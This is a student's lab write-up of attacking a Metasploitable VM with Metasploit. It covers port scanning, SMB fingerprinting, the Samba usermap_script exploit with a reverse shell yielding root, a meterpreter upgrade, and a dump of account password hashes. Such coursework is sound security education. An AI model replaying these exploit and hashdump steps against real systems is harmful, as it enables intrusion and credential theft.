ASSIGNMENT 3: METASPLOIT ATTACK ISEC2025

Callahan O'Quinn

PREAMBLE

It took me a while to get a proper connection with metasploitable. I was able to ping the IP address, but it showed all ports were closed. I read that using a bridged connection could solve this, but did not want to risk that (not sure if this fear is valid or not). It took me a bit to figure out that they needed a dedicated NAT network that had to be created, not just selecting 'NAT' under connection type for both VMS. Once I created this and configured the VMs network settings for it, I was able to see the open ports. Everything else from here on was smooth sailing. Of course I had to do some digging online about some modules, but I found that information was quite accessible. info -d was a lifesaver too.

TASK 1 – PORT SCAN

- Used search to find the TCP port scan module
- Set RHOST to the metasploitbales IP address (forgot to change the port scan range from 1-10000 to 1-500)
- By running the module, the SMB ports (139 & 445) appear to be open

Shell No. 1

File Actions Edit View Help

```
Interact with a module by name or index. For example info 7, use 7 or use aux
iliary/scanner/http/wordpress_pingback_access

msf6 > use 5
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.0.2.4
RHOSTS => 10.0.2.4
msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports t
                                           o check per host
   DELAY        0                yes       The delay between connections, p
                                           er thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum
                                            value by which to +/- DELAY) in
                                            milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110
                                           -900)
   RHOSTS       10.0.2.4         yes       The target host(s), see https://
                                           docs.metasploit.com/docs/using-m
                                           etasploit/basics/using-metasploi
                                           t.html
   THREADS      1                yes       The number of concurrent threads
                                            (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in mi
                                           lliseconds


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.0.2.4:             - 10.0.2.4:25 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:23 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:22 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:21 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:53 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:80 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:111 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:139 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:445 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:512 - TCP OPEN
[+] 10.0.2.4:             - 10.0.2.4:514 - TCP OPEN
```

TASK 1 – SMB VERSION

- Used search to find the TCP port scan module
- Set RHOST to the metasploitbales IP address (forgot to change the port scan range from 1-10000 to 1-500)
- By running the module, the SMB ports (139 & 445) appear to be open

```
Shell No. 1
File  Actions  Edit  View  Help
msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs
                                       .metasploit.com/docs/using-metasploi
                                       t/basics/using-metasploit.html
   RPORT                     no        The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (ma
                                       x one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.2.4
RHOSTS => 10.0.2.4
msf6 auxiliary(scanner/smb/smb_version) > set RPORT 139
RPORT => 139
msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.2.4:139          -   Host could not be identified: Unix (Samba 3.0.2
0-Debian)
[*] 10.0.2.4:             - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
```

TASK 1 – SMB VERSION

- Used searchsploit to find exploits for the metasploits OS & version
- Checked online to see if the first is in Metasploit; it was

```
Shell No. 1
File  Actions  Edit  View  Help

=======
 Notes
=======
 * You can use any number of search terms
 * By default, search terms are not case-sensitive, ordering is irrelevant, a
nd will search between version ranges
   * Use '-c' if you wish to reduce results by case-sensitive searching
   * And/Or '-e' if you wish to filter results by using an exact match
   * And/Or '-s' if you wish to look for an exact version match
 * Use '-t' to exclude the file's path to filter the search results
   * Remove false positives (especially when searching using numbers - i.e. v
ersions)
 * When using '--nmap', adding '-v' (verbose), it will search for even more c
ombinations
 * When updating or displaying help, search terms will be ignored

msf6 auxiliary(scanner/smb/smb_version) > searchsploit Samba 3.0.2
[*] exec: searchsploit Samba 3.0.2

---------------------------------------------------------------------------
 Exploit Title                                          |  Path
---------------------------------------------------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map               | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names He              | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names              | linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_nam              | solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote B              | linux/dos/4732.c
Samba 3.0.29 (Client) - 'receive_smb_raw()              | multiple/dos/5712.pl
Samba < 3.0.20 - Remote Heap Overflow                   | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (P              | linux_x86/dos/36741.py
---------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results
msf6 auxiliary(scanner/smb/smb_version) >
```

TASK 2 – EXPLOITATION

- Found the selected exploit on Metasploit
- Not shown but I made sure it was compatible with metasploits version

```
Shell No. 1
File  Actions  Edit  View  Help
ollector via nodeid SQL Injection
   335  exploit/unix/webapp/vbulletin_vote_sqli_exec
                        2013-03-25       excellent  Yes    vBulletin index.php/
ajax/api/reputation/vote nodeid Parameter SQL Injection


Interact with a module by name or index. For example info 335, use 335 or use
 exploit/unix/webapp/vbulletin_vote_sqli_exec

msf6 auxiliary(scanner/smb/smb_version) > searchsploit Samba 3.0.2
[*] exec: searchsploit Samba 3.0.2

 Exploit Title                                 |  Path
 ---------------------------------------------- | ---------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map      | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names He     | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names     | linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_nam     | solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote B     | linux/dos/4732.c
Samba 3.0.29 (Client) - 'receive_smb_raw()     | multiple/dos/5712.pl
Samba < 3.0.20 - Remote Heap Overflow          | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (P     | linux_x86/dos/36741.py
---------------------------------------------- | ---------------------------------
Shellcodes: No Results
Papers: No Results
msf6 auxiliary(scanner/smb/smb_version) > search 3.0.25rc3 - 'Username' map

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script    2007-05-14       excellent  No     Samba "user
name map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/
samba/usermap_script

msf6 auxiliary(scanner/smb/smb_version) >
```

TASK 2 – EXPLOITATION

- Searched to see if there was a meterpreter payload, there was not

```
Shell No. 1
File  Actions  Edit  View  Help
   27  payload/cmd/unix/reverse_netcat                .          normal  No     Unix
Command Shell, Reverse TCP (via netcat)
   28  payload/cmd/unix/reverse_netcat_gaping         .          normal  No     Unix
Command Shell, Reverse TCP (via netcat -e)
   29  payload/cmd/unix/reverse_openssl               .          normal  No     Unix
Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                  .          normal  No     Unix
Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl              .          normal  No     Unix
Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl               .          normal  No     Unix
Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                .          normal  No     Unix
Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl            .          normal  No     Unix
Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                     .          normal  No     Unix
Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                  .          normal  No     Unix
Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl              .          normal  No     Unix
Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_sctp            .          normal  No     Unix
Command Shell, Reverse SCTP (via socat)
   39  payload/cmd/unix/reverse_socat_tcp             .          normal  No     Unix
Command Shell, Reverse TCP (via socat)
   40  payload/cmd/unix/reverse_socat_udp             .          normal  No     Unix
Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                   .          normal  No     Unix
Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet     .          normal  No     Unix
Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_tclsh                 .          normal  No     Unix
Command Shell, Reverse TCP (via Tclsh)
   44  payload/cmd/unix/reverse_zsh                   .          normal  No     Unix
Command Shell, Reverse TCP (via Zsh)

[-] Invalid parameter "|", use "show -h" for more information
[-] Invalid parameter "grep", use "show -h" for more information
[-] Invalid parameter "meterpreter", use "show -h" for more information
msf6 exploit(multi/samba/usermap_script) > run
```

TASK 2 – EXPLOITATION

- Ran the module -> shell session was established

```
Shell No. 1
File  Actions  Edit  View  Help

   .
   45    \_ target: Crash only: Fedora 16 x86, tinc 1.0.19 (yum)
                                                        .              .          .
   .
   46    \_ target: Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)
                                                        .              .          .
   .
   47    \_ target: Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)
                                                        .              .          .
   .
   48  exploit/windows/fileformat/vlc_mkv
                                                        2018-05-24     great      No
   VLC Media Player MKV Use After Free
   49    \_ target: VLC 2.2.8 on Windows 10 x86
                                                        .              .          .
   .
   50    \_ target: VLC 2.2.8 on Windows 10 x64
                                                        .              .          .
   .
   51  exploit/windows/fileformat/vlc_smb_uri
                                                        2009-06-24     great      No
   VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
   52  exploit/windows/local/bypassuac_comhijack
                                                        1900-01-01     excellent  Yes
   Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   53  post/windows/manage/multi_meterpreter_inject
                                                        .              normal     No
   Windows Manage Inject in Memory Multiple Payloads


Interact with a module by name or index. For example info 53, use 53 or use post/windows
/manage/multi_meterpreter_inject

msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Command shell session 2 opened (10.0.2.15:4444 → 10.0.2.4:35506) at 2025-03-20 09:2
6:36 -0300

whoami
root
```

TASK 2 – EXPLOITATION

- Placed session in backgrounf

```
Shell No. 1
File  Actions  Edit  View  Help
   VLC Media Player MKV Use After Free
   49    \_ target: VLC 2.2.8 on Windows 10 x86
                                                          .              .          .
   .
   50    \_ target: VLC 2.2.8 on Windows 10 x64
                                                          .              .          .
   .
   51  exploit/windows/fileformat/vlc_smb_uri
                                                          2009-06-24     great      No
   VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
   52  exploit/windows/local/bypassuac_comhijack
                                                          1900-01-01     excellent  Yes
   Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   53  post/windows/manage/multi_meterpreter_inject
                                                          .              normal     No
   Windows Manage Inject in Memory Multiple Payloads


Interact with a module by name or index. For example info 53, use 53 or use post/windows
/manage/multi_meterpreter_inject

msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Command shell session 2 opened (10.0.2.15:4444 → 10.0.2.4:35506) at 2025-03-20 09:2
6:36 -0300

whoami
root

sessions -i 1
[*] Wrong number of arguments expected: 1, received: 2
Usage: sessions <id>

Interact with a different session Id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -i <session id>

background

Background session 2? [y/N]  y
msf6 exploit(multi/samba/usermap_script) >
```

TASK 3
SHELL UPGRADE

- Did some research and found this post-exploiation module that upgrades the shell to meterpreter
- Configured required options
- Ran the module
- Second session with meterpreter was established

```
Shell No. 1
File  Actions  Edit  View  Help
   0  post/multi/manage/shell_to_meterpreter  .                  normal  No     Shell to M
eterpreter Upgrade


Interact with a module by name or index. For example info 0, use 0 or use post/multi/man
age/shell_to_meterpreter

msf6 exploit(multi/samba/usermap_script) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the c
                                       onnection
   LHOST                     no        IP of host that will receive the connection fro
                                       m the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 2
SESSION => 2
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.15:4433
[*] Sending stage (1017704 bytes) to 10.0.2.4
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  2         shell cmd/unix                                  10.0.2.15:4444 -> 10.0.2.
                                                            4:35506 (10.0.2.4)
  3         meterpreter x86/linux  root @ metasploitable.lo 10.0.2.15:4433 -> 10.0.2.
                                   caldomain                4:45241 (10.0.2.4)

msf6 post(multi/manage/shell_to_meterpreter) >
```

TASK 3
OS INFORMATION

- Opened the meterpreter session
- Ran ‘sysinfo’ to find the OS, hostname, etc.

```
Shell No. 1
File  Actions  Edit  View  Help
View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 2
SESSION => 2
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.15:4433
[*] Sending stage (1017704 bytes) to 10.0.2.4
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  2         shell cmd/unix                                    10.0.2.15:4444 -> 10.0.2.
                                                              4:35506 (10.0.2.4)
  3         meterpreter x86/linux    root @ metasploitable.lo 10.0.2.15:4433 -> 10.0.2.
                                     caldomain                4:45241 (10.0.2.4)

msf6 post(multi/manage/shell_to_meterpreter) > [*] Meterpreter session 3 opened (10.0.2.
15:4433 -> 10.0.2.4:45241) at 2025-03-20 09:33:16 -0300

[*] Stopping exploit/multi/handler
sessions -i 3
[*] Starting interaction with 3...

meterpreter > show version
[-] Unknown command: show. Run the help command for more details.
meterpreter > cat /etc/os-release
[-] stdapi_fs_stat: Operation failed: 1
meterpreter > uname -r
[-] Unknown command: uname. Run the help command for more details.
meterpreter > hostname
[-] Unknown command: hostname. Run the help command for more details.
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >
```

TASK 3 - HASHES

- Found a post-exploiation module that dumps the hashes from a linux host using ‘search hashdump’

```
Shell No. 1
File  Actions  Edit  View  Help
[-] Unknown command: show. Run the help command for more details.
meterpreter > cat /etc/os-release
[-] stdapi_fs_stat: Operation failed: 1
meterpreter > uname -r
[-] Unknown command: uname. Run the help command for more details.
meterpreter > hostname
[-] Unknown command: hostname. Run the help command for more details.
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > background
[*] Backgrounding session 3 ...
msf6 post(multi/manage/shell_to_meterpreter) > search hashdump

Matching Modules
================

   #   Name                                                    Disclosure Date  Rank    Ch
eck  Description
   -   ----                                                    ---------------  ----    --
---  -----------
   0   post/aix/hashdump                                       .                normal  No
     AIX Gather Dump Password Hashes
   1   post/android/gather/hashdump                            .                normal  No
     Android Gather Dump Password Hashes for Android Systems
   2   post/bsd/gather/hashdump                                .                normal  No
     BSD Dump Password Hashes
   3   auxiliary/scanner/smb/impacket/secretsdump              .                normal  No
     DCOM Exec
   4   auxiliary/gather/ldap_hashdump                          2020-07-23       normal  No
     LDAP Information Disclosure
   5   post/linux/gather/hashdump                              .                normal  No
     Linux Gather Dump Password Hashes for Linux Systems
   6   auxiliary/scanner/mssql/mssql_hashdump                  .                normal  No
     MSSQL Password Hashdump
   7   auxiliary/scanner/mysql/mysql_hashdump                  .                normal  No
     MYSQL Password Hashdump
   8   post/windows/gather/credentials/mcafee_vse_hashdump     .                normal  No
     McAfee Virus Scan Enterprise Password Hashes Dump
   9   auxiliary/scanner/mysql/mysql_authbypass_hashdump       2012-06-09       normal  No
     MySQL Authentication Bypass Password Dump
   10  post/osx/gather/hashdump                                .                normal  No
```

TASK 3 - HASHES

- Configured the options for the hashdump module
- Ran the module
- Hashdump provided the usernames and hashes

```
Shell No. 1
File  Actions  Edit  View  Help
                                    caldomain                 4:45241 (10.0.2.4)
  4         meterpreter x86/linux   root @ metasploitable.lo  10.0.2.15:4433 → 10.0.2.
                                    caldomain                 4:51504 (10.0.2.4)

msf6 post(linux/gather/hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  3                yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(linux/gather/hashdump) > set session 2
session => 2
msf6 post(linux/gather/hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(linux/gather/hashdump) > run
[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix. This module works with: Linux.
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bi
n/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var
/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/
bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /home/callahano/.msf4/loot/20250320095159_default_10.0.2.4
_linux.hashes_683592.txt
[*] Post module execution completed
msf6 post(linux/gather/hashdump) >
```